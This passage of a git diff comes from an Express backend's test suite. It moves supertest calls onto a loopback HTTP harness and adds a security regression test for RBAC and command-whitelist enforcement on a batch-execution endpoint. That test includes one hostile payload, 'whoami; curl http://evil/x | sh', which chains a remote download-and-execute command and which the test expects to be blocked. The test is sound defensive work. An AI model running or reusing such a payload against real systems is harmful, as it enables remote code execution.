request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .expect(401); @@ -1462,7 +1477,7 @@ describe('Users Router - DELETE /api/users/:id', () => { }); it('should return 401 when invalid token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', 'Bearer invalid-token') .expect(401); @@ -1472,7 +1487,7 @@ describe('Users Router - DELETE /api/users/:id', () => { }); it('should return 403 when user lacks users:admin permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -1486,7 +1501,7 @@ describe('Users Router - DELETE /api/users/:id', () => { }); it('should return 403 when user has users:write but not users:admin permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${writerUserToken}`) .expect(403); @@ -1500,7 +1515,7 @@ describe('Users Router - DELETE /api/users/:id', () => { }); it('should return 204 when user has users:admin permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1512,7 +1527,7 @@ describe('Users Router - DELETE /api/users/:id', () => { describe('User Deletion', () => { it('should return 404 when user does not exist', async () => { const nonExistentId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${nonExistentId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -1522,7 +1537,7 @@ describe('Users Router - DELETE /api/users/:id', () => { }); it('should soft delete user (set isActive to 0)', async () => { - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1534,7 +1549,7 @@ describe('Users Router - DELETE /api/users/:id', () => { }); it('should return 204 No Content on successful deletion', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1545,7 +1560,7 @@ describe('Users Router - DELETE /api/users/:id', () => { it('should prevent deleted user from authenticating', async () => { // Delete the user - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1562,7 +1577,7 @@ describe('Users Router - DELETE /api/users/:id', () => { // Wait a bit to ensure timestamp difference await new Promise(resolve => setTimeout(resolve, 10)); - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1576,7 +1591,7 @@ describe('Users Router - DELETE /api/users/:id', () => { await userService.updateUser(testUserId, { isActive: false }); // Then delete (should still work) - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1600,7 +1615,7 @@ describe('Users Router - DELETE /api/users/:id', () => { const superAdminToken = await authService.generateToken(superAdmin); - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${superAdminToken}`) .expect(204); @@ -1623,7 +1638,7 @@ describe('Users Router - DELETE /api/users/:id', () => { await userService.addUserToGroup(testUserId, groupId); // Delete user should succeed - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1642,7 +1657,7 @@ describe('Users Router - DELETE /api/users/:id', () => { await userService.assignRoleToUser(testUserId, role.id); // Delete user should succeed - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1671,7 +1686,7 @@ describe('Users Router - DELETE /api/users/:id', () => { await userService.assignRoleToUser(testUserId, role.id); // Delete user should succeed - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1682,14 +1697,14 @@ describe('Users Router - DELETE /api/users/:id', () => { it('should return 404 when trying to delete same user twice', async () => { // First deletion - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Second deletion - getUserById returns inactive users, but they're still "found" // So this should succeed again (idempotent soft delete) - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1700,7 +1715,7 @@ describe('Users Router - DELETE /api/users/:id', () => { it('should require users:admin permission, not just users:write', async () => { // This test verifies that DELETE requires higher privilege than PUT // Writer user has users:write but not users:admin - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}`) .set('Authorization', `Bearer ${writerUserToken}`) .expect(403); @@ -1844,7 +1859,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .expect(401); @@ -1853,7 +1868,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { }); it('should return 401 when invalid token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', 'Bearer invalid-token') .expect(401); @@ -1863,7 +1878,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { }); it('should return 403 when user lacks users:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -1877,7 +1892,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { }); it('should return 204 when user has users:write permission', async () => { - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1886,7 +1901,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { describe('User-Group Association', () => { it('should successfully add user to group', async () => { - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1900,7 +1915,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { it('should return 404 when user does not exist', async () => { const nonExistentUserId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${nonExistentUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -1911,7 +1926,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { it('should return 404 when group does not exist', async () => { const nonExistentGroupId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${nonExistentGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -1922,13 +1937,13 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { it('should return 409 when user is already in group', async () => { // Add user to group first time - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Try to add again - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(409); @@ -1945,13 +1960,13 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { }); // Add user to first group - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Add user to second group - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${secondGroup.id}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -1993,7 +2008,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { expect(hasPermissionBefore).toBe(false); // Add user to group via API - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2035,7 +2050,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { expect(cachedBefore).toBe(false); // Add user to group via API (this should invalidate cache in the router's instance) - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2070,7 +2085,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { const superAdminToken = await authService.generateToken(superAdmin); - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${superAdminToken}`) .expect(204); @@ -2084,7 +2099,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { describe('Response Format', () => { it('should return 204 No Content with no response body on success', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2095,7 +2110,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { it('should return proper error format for 404 errors', async () => { const nonExistentUserId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${nonExistentUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -2110,7 +2125,7 @@ describe('Users Router - POST /api/users/:id/groups/:groupId', () => { // Add user to group first await userService.addUserToGroup(testUserId, testGroupId); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(409); @@ -2259,7 +2274,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .expect(401); @@ -2268,7 +2283,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { }); it('should return 401 when invalid token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', 'Bearer invalid-token') .expect(401); @@ -2278,7 +2293,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { }); it('should return 403 when user lacks users:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -2292,7 +2307,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { }); it('should return 204 when user has users:write permission', async () => { - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2306,7 +2321,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { expect(groupsBefore).toHaveLength(1); expect(groupsBefore[0].id).toBe(testGroupId); - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2323,7 +2338,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { description: 'Group user is not in', }); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${secondGroup.id}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -2334,7 +2349,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { it('should return 404 when trying to remove from non-existent group', async () => { const nonExistentGroupId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${nonExistentGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -2356,7 +2371,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { expect(groupsBefore).toHaveLength(2); // Remove user from first group - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2369,13 +2384,13 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { it('should handle removing user from group twice (idempotency check)', async () => { // Remove user from group first time - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Try to remove again - should return 404 - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -2413,7 +2428,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { expect(hasPermissionBefore).toBe(true); // Remove user from group via API - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2454,7 +2469,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { expect(cachedBefore).toBe(true); // Remove user from group via API (this should invalidate cache in the router's instance) - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2508,7 +2523,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { expect(hasPermissionBefore).toBe(true); // Remove user from group via API - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2538,7 +2553,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { const superAdminToken = await authService.generateToken(superAdmin); - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${superAdminToken}`) .expect(204); @@ -2551,7 +2566,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { describe('Response Format', () => { it('should return 204 No Content with no response body on success', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${testGroupId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2567,7 +2582,7 @@ describe('Users Router - DELETE /api/users/:id/groups/:groupId', () => { description: 'Group user is not in', }); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/groups/${secondGroup.id}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -2711,7 +2726,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .expect(401); @@ -2720,7 +2735,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { }); it('should return 401 when invalid token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', 'Bearer invalid-token') .expect(401); @@ -2730,7 +2745,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { }); it('should return 403 when user lacks users:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -2744,7 +2759,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { }); it('should return 204 when user has users:write permission', async () => { - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2753,7 +2768,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { describe('User-Role Assignment', () => { it('should successfully assign role to user', async () => { - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2767,7 +2782,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { it('should return 404 when user does not exist', async () => { const nonExistentUserId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${nonExistentUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -2778,7 +2793,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { it('should return 404 when role does not exist', async () => { const nonExistentRoleId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${nonExistentRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -2789,13 +2804,13 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { it('should return 409 when role is already assigned to user', async () => { // Assign role first time - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Try to assign again - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(409); @@ -2812,13 +2827,13 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { }); // Assign first role - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Assign second role - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${secondRole.id}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2852,7 +2867,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { expect(hasPermissionBefore).toBe(false); // Assign role to user via API - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2888,7 +2903,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { expect(cachedBefore).toBe(false); // Assign role to user via API (this should invalidate cache in the router's instance) - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2926,7 +2941,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { await roleService.assignPermissionToRole(testRoleId, writePermission.id); // Assign role to user via API - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2963,7 +2978,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { const superAdminToken = await authService.generateToken(superAdmin); - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${superAdminToken}`) .expect(204); @@ -2977,7 +2992,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { describe('Response Format', () => { it('should return 204 No Content with no response body on success', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -2988,7 +3003,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { it('should return proper error format for 404 errors', async () => { const nonExistentUserId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${nonExistentUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -3001,13 +3016,13 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { it('should return proper error format for 409 conflict errors', async () => { // Assign role first time - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Try to assign again - const response = await request(app) + const response = await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(409); @@ -3031,7 +3046,7 @@ describe('Users Router - POST /api/users/:id/roles/:roleId', () => { return; } - await request(app) + await request(harness.use(app)) .post(`/api/users/${testUserId}/roles/${viewerRole.id}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -3178,7 +3193,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { describe('Authentication and Authorization', () => { it('should return 401 when no token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .expect(401); @@ -3187,7 +3202,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { }); it('should return 401 when invalid token is provided', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', 'Bearer invalid-token') .expect(401); @@ -3197,7 +3212,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { }); it('should return 403 when user lacks users:write permission', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${regularUserToken}`) .expect(403); @@ -3211,7 +3226,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { }); it('should return 204 when user has users:write permission', async () => { - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -3225,7 +3240,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { expect(rolesBefore).toHaveLength(1); expect(rolesBefore[0].id).toBe(testRoleId); - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -3242,7 +3257,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { description: 'Role not assigned to user', }); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${unassignedRole.id}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -3253,13 +3268,13 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { it('should return 404 when trying to remove role from user who already had it removed', async () => { // Remove role first time - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); // Try to remove again - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -3281,7 +3296,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { expect(rolesBefore).toHaveLength(2); // Remove first role - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -3294,7 +3309,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { it('should handle removing role from user with non-existent user ID gracefully', async () => { const nonExistentUserId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${nonExistentUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -3305,7 +3320,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { it('should handle removing non-existent role from user gracefully', async () => { const nonExistentRoleId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${nonExistentRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -3335,7 +3350,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { expect(hasPermissionBefore).toBe(true); // Remove role from user via API - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -3374,7 +3389,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { expect(hasPermissionInitial).toBe(true); // Remove role from user via API (should invalidate cache) - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -3393,7 +3408,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { describe('Response Format', () => { it('should return 204 No Content with no response body on success', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -3404,7 +3419,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { it('should return proper error format for 404 errors', async () => { const nonExistentUserId = randomUUID(); - const response = await request(app) + const response = await request(harness.use(app)) .delete(`/api/users/${nonExistentUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${adminToken}`) .expect(404); @@ -3437,7 +3452,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { expect(hasViewerRoleBefore).toBe(true); // Remove built-in role - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${viewerRole.id}`) .set('Authorization', `Bearer ${adminToken}`) .expect(204); @@ -3463,7 +3478,7 @@ describe('Users Router - DELETE /api/users/:id/roles/:roleId', () => { const superAdminToken = await authService.generateToken(superAdmin); - await request(app) + await request(harness.use(app)) .delete(`/api/users/${testUserId}/roles/${testRoleId}`) .set('Authorization', `Bearer ${superAdminToken}`) .expect(204); diff --git a/backend/test/security/executions-authz-whitelist.test.ts b/backend/test/security/executions-authz-whitelist.test.ts new file mode 100644 index 00000000..7ab0a4da --- /dev/null +++ b/backend/test/security/executions-authz-whitelist.test.ts @@ -0,0 +1,118 @@ +import { describe, it, expect, beforeEach, vi, beforeAll, afterAll } from "vitest"; +import express, { type Express, type RequestHandler } from "express"; +import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; +import { createExecutionsRouter } from "../../src/routes/executions"; +import { errorHandler, requestIdMiddleware } from "../../src/middleware/errorHandler"; +import { BoltCommandWhitelistService } from "../../src/validation/CommandWhitelistService"; +import type { WhitelistConfig } from "../../src/config/schema"; +import type { ExecutionRepository } from "../../src/database/ExecutionRepository"; +import type { BatchExecutionService } from "../../src/services/BatchExecutionService"; + +/** + * Security regression tests for finding H-1: + * command-whitelist + RBAC bypass via /api/executions/batch. + * + * Verifies that the executions router: + * 1. enforces the injected RBAC (bolt:execute) middleware on /batch, and + * 2. validates command-type actions against the whitelist (blocking shell + * metacharacters) before delegating to BatchExecutionService. + */ +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + +describe("H-1: /api/executions/batch authorization + whitelist", () => { + let executionRepository: ExecutionRepository; + let batchExecutionService: BatchExecutionService; + let whitelistService: BoltCommandWhitelistService; + + const allowAllConfig: WhitelistConfig = { + allowAll: true, + whitelist: [], + matchMode: "exact", + }; + + const buildApp = (rbac: RequestHandler): Express => { + const app = express(); + app.use(express.json()); + app.use(requestIdMiddleware); + app.use( + "/api/executions", + createExecutionsRouter( + executionRepository, + undefined, + batchExecutionService, + undefined, + rbac, + whitelistService, + ), + ); + app.use(errorHandler); + return app; + }; + + const allowRbac: RequestHandler = (_req, _res, next) => { next(); }; + const denyRbac: RequestHandler = (_req, res) => { + res.status(403).json({ error: { code: "AUTHORIZATION_ERROR" } }); + }; + + beforeEach(() => { + executionRepository = {} as ExecutionRepository; + batchExecutionService = { + createBatch: vi.fn().mockResolvedValue({ + batchId: "batch-1", + executionIds: ["e1"], + targetCount: 1, + expandedNodeIds: ["node1"], + }), + getBatchStatus: vi.fn(), + cancelBatch: vi.fn(), + } as unknown as BatchExecutionService; + whitelistService = new BoltCommandWhitelistService(allowAllConfig); + vi.clearAllMocks(); + }); + + it("rejects the request with 403 when RBAC denies, without executing", async () => { + const res = await request(harness.use(buildApp(denyRbac))) + .post("/api/executions/batch") + .send({ targetNodeIds: ["node1"], type: "command", action: "ls", tool: "bolt" }); + + expect(res.status).toBe(403); + expect(batchExecutionService.createBatch).not.toHaveBeenCalled(); + }); + + it("blocks shell-metacharacter commands with 403 COMMAND_NOT_ALLOWED", async () => { + const res = await request(harness.use(buildApp(allowRbac))) + .post("/api/executions/batch") + .send({ + targetNodeIds: ["node1"], + type: "command", + action: "whoami; curl http://evil/x | sh", + tool: "bolt", + }); + + expect(res.status).toBe(403); + expect(res.body.error.code).toBe("COMMAND_NOT_ALLOWED"); + expect(batchExecutionService.createBatch).not.toHaveBeenCalled(); + }); + + it("allows a clean command through to the batch service", async () => { + const res = await request(harness.use(buildApp(allowRbac))) + .post("/api/executions/batch") + .send({ targetNodeIds: ["node1"], type: "command", action: "ls -la", tool: "bolt" }); + + expect(res.status).toBe(201); + expect(batchExecutionService.createBatch).toHaveBeenCalledOnce(); + }); +}); diff --git a/backend/test/security/jazzy-launching-wombat-regressions.test.ts b/backend/test/security/jazzy-launching-wombat-regressions.test.ts index e874d86a..f967fb23 100644 --- a/backend/test/security/jazzy-launching-wombat-regressions.test.ts +++ b/backend/test/security/jazzy-launching-wombat-regressions.test.ts @@ -6,9 +6,10 @@ * shipping. */ -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; +import { describe, it, expect, vi, beforeEach, afterEach, beforeAll, afterAll } from "vitest"; import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { z } from "zod"; import { AppConfigSchema, type WhitelistConfig } from "../../src/config/schema"; import { BoltCommandWhitelistService } from "../../src/validation/CommandWhitelistService"; @@ -39,6 +40,20 @@ const TaskNameSchema = z .max(128) .regex(/^[a-z][a-z0-9_]*(::[a-z][a-z0-9_]*)*$/); +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated 